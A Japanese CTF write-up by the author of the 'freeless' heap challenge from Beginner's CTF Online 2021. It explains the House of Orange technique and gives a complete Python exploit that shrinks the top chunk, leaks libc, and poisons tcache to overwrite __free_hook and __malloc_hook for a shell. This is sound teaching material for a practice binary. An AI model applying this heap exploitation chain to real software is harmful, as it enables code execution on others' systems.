CTFするぞ

CTF以外のことも書くよ

freeless - Beginner's CTF Online 2021

はじめに

Beginner's CTF Online 2021に1問だけ出した問題のwriteupを書きます。 今年はSECCON Beginnersには新しいメンバーが入り、pwnを作ってくれる人も入ったのでHard問だけ担当しました。 SECCON Beginner'sのHard問は2年前がなんかtcacheいじるやつ(しふくろ大先生の問題)、1年前がなんかunsorted binいじるやつ(しふくろ大先生の問題)でした。 ヒープ問だけなかったのでそれは確定だったのですが、難しいヒープ問は作るのも解くのも嫌なので、簡単だけど知識が無いと解けないタイプにしました。 去年難化したとの声を受けて今年はかなり難易度控えめにできたと思います。

ここで参加者のみなさんに大切なお知らせ:

writeupは読むだけでなく、必ず手元で試しましょう。(ただしこの問題は虚無なので試さなくて良いです。)

参考書の解答読むだけで数学得意になるわけないだろ!

TL;DR

@satoki00 top chunkのサイズの下位12-bitが壊れてなければassertionエラーは起きない!

問題概要

問題文の通り、free相当の処理がコード中に一切現れません。 脆弱性は明らかにHeap Overflowですが、チャンクをfreeできない上、このプログラムがヒープに確保するデータにポインタは含まれないので、一見無理そうに見えます。 ここで、私がpwnを始めた数年前よりもさらに数年前から存在したと言い伝えられている太古のテクニック(名をばHouse of Orangeとぞ言ひ伝へたる)があります。 ある程度勉強しているpwnerにとっては常識なのでCTF常連pwnerには特に学びが無かったと思います。 解けなかった方はこのwriteupを読んで「ふーん、あっそ」って思ってください。実世界のexploitでは一切役に立ちませんので。

原理

今回のような場合mallocを利用してfree相当の処理が実現できます。 mallocfreeするというのは奇妙に聞こえますが、ソースコードを読んでみると割と自然な処理です。

          if (old_size >= MINSIZE)
            {
              set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
              set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
              set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
              _int_free (av, old_top, 1);
            }

mallocソースコード読みたくないのでここで解説はしません。 と思って調べたら昔の私がちゃんと読んでたみたいです。偉い。そして一切記憶にない。

ptr-yudai.hatenablog.com

やっていることは、topチャンクのサイズより大きいサイズでmallocされるとmmapしないといけないけど、残ったtopチャンクがもったいないからfreeして後から使えるようにしよう、ということです。

だそうです。 でも普通にやると新しく確保された領域にかぶさるように普通に旧topから確保されるので、topのサイズを小さくします。 つまり連続したheap領域が確保できなかったかのように見せかける必要があります。 (経験則で書いてるのでちゃんと知りたい人はmalloc.cを読むと良いと思います。)

解法

freeの仕方

↑の記事に書いてある通りなんですが、topチャンクのサイズを書き換えて小さくし、それより大きいサイズでmallocすれば旧topがfreeされます。 通常のfreeなので、サイズに応じてtcacheやunsorted binに出荷されます。

アドレスリー

unsorted binとして繋げればmain arenaのアドレスがリークできますね。

任意アドレス書込

tcacheに繋ぐこともできます。 libc-2.31ではカウンタが適切でないとnextを書き換えてもダメなので、2回freeする必要があります。 あとはHeap Overflowでnextを書き換えれば任意アドレス書込が得られますね。

exploit

なんかRSPの関係でone gadgetが動かない気がしたので__malloc_hook__free_hookでchainしてますが、しふくろ先生がテストしてくれた時のexploitでは片方だけでできてたっぽいので、本当はもっと少ない回数でシェルが取れます。

from ptrlib import *
import os

PORT = os.getenv("CTF4B_PORT", "9999")
HOST = os.getenv("CTF4B_HOST", "localhost")

def new(index, size):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
def edit(index, data):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", data)
def show(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))
    return sock.recvlineafter(": ")

libc = ELF("./libc-2.31.so")
sock = Socket(HOST, int(PORT))

# shrink top
new(0, 0x18)
edit(0, b'A' * 0x18 + p64(0xd51))
new(1, 0xd48) # link to unsortedbin

# leak libc
edit(0, b'A' * 0x20)
libc_base = u64(show(0)[0x20:]) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))
libc.set_base(libc_base)
edit(0, b'A' * 0x18 + p64(0xd31))
new(2, 0xd18) # consume unsortedbin

# shrink top
edit(1, b'B' * 0xd48 + p64(0x2b1))
new(3, 0x2a8) # link to tcache

# shrink top
new(4, 0xa98)
edit(4, b'C' * 0xa98 + p64(0x2b1))
new(5, 0x2a8) # link to tcache

# tcache poisoning
payload  = b'C' * 0xa98 + p64(0x291)
payload += p64(libc.symbol('__free_hook'))
edit(4, payload)
new(6, 0x288)
new(7, 0x288)
edit(7, p64(libc_base + 0x54f89))

# shrink top
new(8, 0xa98)
edit(8, b'D' * 0xa98 + p64(0x2b1))
new(9, 0x2a8) # link to tcache

# shrink top
new(10, 0xa98)
edit(10, b'E' * 0xa98 + p64(0x2b1))
new(11, 0x2a8) # link to tcache

# tcache poisoning
payload  = b'F' * 0xa98 + p64(0x291)
payload += p64(libc.symbol('__malloc_hook'))
edit(10, payload)
new(12, 0x288)
new(13, 0x288)
edit(13, p64(libc.symbol('free') + 8))

# win
new(14, 0x18)

sock.interactive()

その他

以下の問題を作問チェックしました。 作問チェック時に書いたwriteupも載せておきますが、修正が入って変更された問題もあるので注意してください。

pwnは全部易しめで特に口出しすることはありませんでした。しかしemulator解かれなさすぎでは?バグ?

revも全部易しめで特に口出しすることはありませんでした。非想定解をいくつか指摘しましたが、修正が難しかったのと、初心者向けだし拘らなくていっか、ということでだいたい放置してたはず。

miscもfly以外は典型的なので易しいと思っていて、writemeがなぜここまで解かれていないのか運営一同理解不能でした。去年のreadmeはもっと解いてくれたのに...... :pien:

おわりに

いかがだったでしょうか? 私はHouse of .+が嫌いということが改めて分かりました!

宣伝ですが、旧InterKosenCTFの名前が変わりCakeCTF 2021としてこの夏開催予定です。 Beginners CTFのEasy以上で、Medium〜Hardくらいの難易度が中心なので、今回まぁまぁ解けたという皆さんは奮ってご参加ください。